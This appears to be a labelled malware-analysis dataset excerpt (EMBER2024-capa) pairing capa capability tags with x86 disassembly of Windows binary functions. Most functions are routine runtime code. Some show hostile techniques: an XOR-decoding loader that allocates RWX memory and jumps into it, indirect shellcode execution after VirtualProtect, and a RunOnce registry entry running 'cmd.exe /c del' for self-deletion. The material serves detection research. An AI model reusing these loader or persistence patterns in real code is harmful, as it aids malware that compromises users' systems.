joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1409650
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov eax, dword [esi]
cmp eax, 2
jne 0x1409693
mov eax, dword [esi + 0x30]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x35b4b24
push 0x40
mov edi, dword [eax + 4]
push 4
push edi
call ebx
test eax, eax
je 0x14096db
mov eax, dword [esi + 8]
push 0x35b4b24
mov dword [edi], eax
push dword [0x35b4b24]
push 4
push edi
call ebx
jmp 0x14096db
cmp eax, 3
jne 0x14096ca
mov eax, dword [esi + 0x30]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x35b4b24
push 0x40
mov edi, dword [eax]
push 4
push edi
call ebx
test eax, eax
je 0x14096db
mov eax, dword [esi + 8]
push 0x35b4b24
mov dword [edi], eax
push dword [0x35b4b24]
push 4
push edi
call ebx
jmp 0x14096db
cmp eax, 1
jne 0x14096db
push dword [esi + 0xc]
lea eax, [esi + 8]
push eax
call fcn.01401b90
mov eax, dword [esi + 0x30]
test eax, eax
je 0x14096f4
push 0
push eax
call fcn.01421552
add esp, 8
mov dword [esi + 0x30], 0
push 0x34
push esi
call fcn.01421552
add esp, 8
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x140f2b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp byte [ecx + 4], 0
je 0x140f2ea
lea eax, [ebp - 4]
mov dword [ebp - 4], 4
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 8]
push dword [ecx + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140f2ea
cmp dword [ebp - 8], 4
mov eax, dword [ebp - 0xc]
je 0x140f2ed
mov eax, dword [ebp + 0xc]
mov esp, ebp
pop ebp
ret 8

Function at 0x140f300
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov byte [0x35b4b70], 0
cmp byte [ecx + 4], 0
mov dword [ebp - 4], 0x200
je 0x140f34c
lea eax, [ebp - 4]
push eax
push 0x35b4b70
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 8]
push dword [ecx + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140f34c
cmp dword [ebp - 8], 1
mov eax, 0x35b4b70
cmovne eax, dword [ebp + 0xc]
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp + 0xc]
mov esp, ebp
pop ebp
ret 8
Function at 0x1421e38
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1421e77
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1421e77
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1421e77
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1421e77
cmp dword [ecx + 0x74], 0xe
jbe 0x1421e77
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1434416
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x157fe28
push 0x157fe20
push str.FlsAlloc
push 0x1f
call fcn.014342de
mov esi, eax
add esp, 0x10
test esi, esi
je 0x143444a
push dword [ebp + 8]
mov ecx, esi
call dword [0x14451b0]
call esi
jmp 0x1434450
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1434494
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x157fe38
push 0x157fe30
push str.FlsGetValue
push 0x21
call fcn.014342de
mov esi, eax
add esp, 0x10
test esi, esi
je 0x14344cb
push dword [ebp + 8]
mov ecx, esi
call dword [0x14451b0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x14344d3
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x157fe40
push 0x157fe38
push str.FlsSetValue
push 0x22
call fcn.014342de
mov esi, eax
add esp, 0x10
test esi, esi
je 0x143450d
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x14451b0]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1437d3e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.014217c0
mov eax, dword [0x15b2f00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.01434a49
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x1437d80
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x1437edc
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.01443560
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x35b5e20]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.01438d3b
mov ecx, dword [esi*4 + 0x35b5e20]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x1437ed5
cmp eax, dword [ecx + edi + 0x24]
jne 0x1437ed5
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1437ed5
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.01438d3b
add esp, 0x14
test edx, edx
jl 0x1437ed5
jg 0x1437e4b
test eax, eax
jb 0x1437ed5
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x1437ed5
jl 0x1437e65
cmp dword [ebp - 0x1008], eax
ja 0x1437ed5
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x1437e83
test ebx, ebx
je 0x1437ebc
cmp ecx, edi
jae 0x1437ebc
mov al, byte [ecx]
cmp al, 0xd
jne 0x1437e9d
lea eax, [edi - 1]
cmp ecx, eax
jae 0x1437ea9
cmp byte [ecx + 1], 0xa
jne 0x1437ea9
inc ecx
jmp 0x1437ea9
movzx eax, al
movsx eax, byte [eax + 0x15b3220]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x1437e83
cmp edx, ebx
jne 0x1437e83
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x1437eda
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.01421a59
leave
ret
Function at 0x14381d3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x35b5e20]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1438213
cmp byte [ebx], 0xa
jne 0x1438213
or byte [edi + eax + 0x28], 4
jmp 0x1438218
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x1438317
mov dl, byte [eax]
cmp dl, 0x1a
je 0x14382fa
inc eax
cmp dl, 0xd
je 0x1438244
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x143826a
cmp eax, ecx
jae 0x1438278
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x143822c
jmp 0x1438317
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14382f5
cmp dword [ebp - 0x10], 0
je 0x14382f5
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x35b5e20]
test byte [eax + edi + 0x28], 0x48
je 0x14382cf
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x14382ba
mov byte [esi], dl
jmp 0x14382cb
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x35b5e20]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x1438317
cmp byte [ebp - 1], 0xa
jne 0x14382de
cmp esi, ebx
jne 0x14382de
mov byte [esi], 0xa
jmp 0x1438316
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.01438d59
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x1438317
mov byte [esi], 0xd
jmp 0x1438316
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x35b5e20]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x1438314
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x1438317
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1438320
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x35b5e20]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1438366
cmp word [ebx], dx
jne 0x1438366
or byte [eax + edi + 0x28], 4
jmp 0x143836b
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x14384ce
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x14384ae
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x14383ac
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x14383e2
cmp eax, edx
jae 0x14383f0
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x1438387
jmp 0x14384ce
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14384a9
cmp dword [ebp - 0x18], 0
je 0x14384a9
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x35b5e20]
test byte [eax + edi + 0x28], 0x48
je 0x143847f
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x1438443
mov word [esi], cx
jmp 0x143847a
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x35b5e20]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x35b5e20]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x35b5e20]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x14384ce
pop eax
cmp word [ebp - 4], ax
jne 0x143848f
cmp esi, ebx
jne 0x143848f
mov word [esi], ax
jmp 0x14384cb
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.01438d59
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x14384ce
push 0xd
pop eax
jmp 0x143848a
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x35b5e20]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x14384c8
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x14384ce
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x143ab3e
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x143abdb
push ebx
push esi
call fcn.0143ab07
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0143aa9b
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x143ab88
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x143abda
push edi
push eax
call fcn.01435969
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x143aba8
call fcn.01433fff
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x143abd9
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0143aa9b
add esp, 0x20
test eax, eax
jne 0x143abc7
push edi
call fcn.01433fff
jmp 0x143abcf
push ebx
call fcn.01433fff
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x143d64a
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.01435118
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x143d6b9
cmp esi, dword [ebp - 4]
je 0x143d6b4
cmp dword [ebp + 0xc], 0
je 0x143d6b4
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x143d691
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.0143d19c
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x143d6bb
xor eax, eax
inc eax
jmp 0x143d6bb
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x143d720
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x15b2f00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.01435118
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.01435118
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x143d797
cmp word [ecx], dx
je 0x143d797
mov eax, dword [0x15809e4]
push edi
dec eax
push eax
push 0x15808d0
call fcn.0143d6bf
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x143d80a
cmp word [eax], dx
je 0x143d80a
mov eax, dword [edi]
test eax, eax
je 0x143d7bb
cmp word [eax], dx
je 0x143d7bb
lea eax, [ebp - 0x10]
push eax
call fcn.0143d0a2
jmp 0x143d7c4
lea eax, [ebp - 0x10]
push eax
call fcn.0143d13d
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x143d834
mov eax, dword [0x15808cc]
push dword [ebp - 0x14]
dec eax
push eax
push 0x15805c0
call fcn.0143d6bf
add esp, 0xc
test al, al
je 0x143d834
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x143d7ff
cmp word [eax], di
je 0x143d7ff
lea eax, [ebp - 0x10]
push eax
call fcn.0143d0a2
pop ecx
jmp 0x143d836
lea eax, [ebp - 0x10]
push eax
call fcn.0143d13d
jmp 0x143d7fc
mov eax, dword [edi]
test eax, eax
je 0x143d821
cmp word [eax], dx
je 0x143d821
lea eax, [ebp - 0x10]
push eax
call fcn.0143d057
pop ecx
jmp 0x143d834
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x143d8ff
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.0143d544
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x143d8ff
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x143d8ff
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x143d8ff
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x143d88c
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.01434613
test ebx, ebx
je 0x143d8fa
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.01434613
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x143d8ff
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x143d8ff
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.014418b4
add esp, 0x10
xor eax, eax
inc eax
jmp 0x143d901
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.01421a59
leave
ret
Function at 0x1441b4e
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.01441aca
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x1441cbd
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x1441cbd
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x1441c72
jg 0x1441baa
test eax, eax
je 0x1441c68
push 1
push 0x1000
call fcn.01433fa2
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x1441bcd
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1441c5f
push 0x8000
push ebx
call fcn.0143162a
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x1441bf6
jg 0x1441bf1
cmp ecx, 0x1000
jb 0x1441bf6
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.01437727
add esp, 0x10
cmp eax, 0xffffffff
je 0x1441c3b
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x1441bf1
jl 0x1441c22
test ecx, ecx
jne 0x1441be3
push dword [ebp - 0xc]
push ebx
call fcn.0143162a
push esi
call fcn.01433fff
add esp, 0xc
xor ebx, ebx
jmp 0x1441ccb
cmp byte [edi + 0x24], 0
je 0x1441c52
cmp dword [edi + 0x20], 5
jne 0x1441c52
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x1441c5d
mov ebx, dword [edi + 0x18]
jmp 0x1441c5f
xor ebx, ebx
push esi
call fcn.01433fff
pop ecx
jmp 0x1441ccb
test ecx, ecx
jg 0x1441c34
jl 0x1441c72
test eax, eax
jae 0x1441c34
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.01438d59
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x1441c92
cmp byte [edi + 0x1c], 0
je 0x1441c34
jmp 0x1441cc3
push ebx
call fcn.0143b51a
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1441c34
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x1441ccb
cmp byte [edi + 0x1c], 0
je 0x1441cc8
mov ebx, dword [edi + 0x18]
jmp 0x1441ccb
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.01438d59
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1443480
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x14434ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x14434ad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x6d4fd7d5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d506878]
jne 0x6d4fd7df
repz ret
jmp fcn.6d4fde74

Function at 0x6d4fdb2a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x6d4fdb39
pop dword [ebp - 0x10]
mov eax, 0x6d4fdb39
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x3dbf890b
sub dword [ebp - 0x20], 0xef6d43c0
mov dword [ebp - 0x1c], 0x70c2db53
add dword [ebp - 0x1c], 0xc17070f2
mov dword [ebp - 0x18], 0x765b7be4
add dword [ebp - 0x18], 0xd5f0c84a
mov dword [ebp - 0x14], 0x7d09120e
add dword [ebp - 0x14], 0x82f6edf2
lea eax, [ebp - 0x20]
push eax
mov eax, 0x9f4e2626
sub eax, 0x31fe3602
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x69b141a6
add dword [ebp - 0x20], 0xac127b0
mov dword [ebp - 0x1c], 0x48149aee
sub dword [ebp - 0x1c], 0x6a83979
mov dword [ebp - 0x18], 0x9b327905
add dword [ebp - 0x18], 0xc83cf367
mov dword [ebp - 0x14], 0x9deaef5b
sub dword [ebp - 0x14], 0x9deaef5b
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3aa8f
push 0
call eax
mov ecx, 0xbd13f1ad
add ecx, 0x42ec6383
xor edi, edi
add edi, eax
mov ebx, 0x38e49c6f
add ebx, 0x346bff91
add ebx, dword [ebp - 0x10]
mov edx, 0x5707c19b
add edx, 0x82524e91
xor dword [ebp - 0xc], 0x9a76f03f
mov esi, dword [ebx]
xor esi, edx
mov dword [ebp - 8], 0x80762d90
mov dword [edi], esi
xor dword [ebp - 8], edi
add edi, 4
add ebx, 4
loop 0x6d4fdc53
add eax, 0x7913209b
add eax, 0x86ee26f8
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x6d4f0000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x4069ea
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
mov eax, dword [0x456178]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov esi, dword [edi]
jmp 0x406b8e
push esi
lea ecx, [ebp - 0x4c]
call fcn.00401e5c
lea ecx, [ebp - 0x4c]
call fcn.0040e960
test al, al
je 0x406b7f
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x64]
call fcn.00401e5c
lea ecx, [ebp - 0x64]
call fcn.004137df
test al, al
je 0x406b73
cmp dword [ebp - 0x50], 8
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x4c]
cmovae ecx, dword [ebp - 0x64]
cmp dword [ebp - 0x38], 8
push ecx
cmovae eax, dword [ebp - 0x4c]
push eax
call fcn.00434cee
pop ecx
pop ecx
test eax, eax
jne 0x406b73
lea ecx, [ebp - 0xb4]
call fcn.0040538f
and dword [ebp - 0x24], 0
lea ecx, [ebp - 0x34]
xor eax, eax
mov dword [ebp - 0x20], 7
push str.delete
mov word [ebp - 0x34], ax
call fcn.00401628
and dword [ebp - 0x6c], 0
lea ecx, [ebp - 0x1c]
xor eax, eax
mov dword [ebp - 0x68], 7
mov edx, ebx
mov word [ebp - 0x7c], ax
call fcn.0040c9e0
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x34]
call fcn.00402149
push 0
push 1
lea ecx, [ebp - 0x1c]
inc ebx
call fcn.00401751
lea eax, [ebp - 0x64]
mov edx, str.cmd.exe__c_del__
push 0x449818
push eax
lea ecx, [ebp - 0x94]
call fcn.00404c52
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.00404ca4
pop ecx
push eax
lea ecx, [ebp - 0x7c]
call fcn.00401e84
push 0
push 1
lea ecx, [ebp - 0x1c]
call fcn.00401751
push 0
push 1
lea ecx, [ebp - 0x94]
call fcn.00401751
and dword [ebp - 0xc], 0
lea ecx, [ebp - 0x1c]
xor eax, eax
mov dword [ebp - 8], 7
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
mov word [ebp - 0x1c], ax
call fcn.00401628
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x1c]
push eax
push ecx
lea ecx, [ebp - 0xb4]
call fcn.0040558a
push 0
push 1
lea ecx, [ebp - 0x1c]
call fcn.00401751
push 0
push 1
lea ecx, [ebp - 0x7c]
call fcn.00401751
push 0
push 1
lea ecx, [ebp - 0x34]
call fcn.00401751
lea ecx, [ebp - 0xb4]
call fcn.00405433
push 0
push 1
lea ecx, [ebp - 0x64]
call fcn.00401751
push 0
push 1
lea ecx, [ebp - 0x4c]
call fcn.00401751
add esi, 0x18
cmp esi, dword [edi + 4]
jne 0x406a0b
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004333fa
mov esp, ebp
pop ebp
ret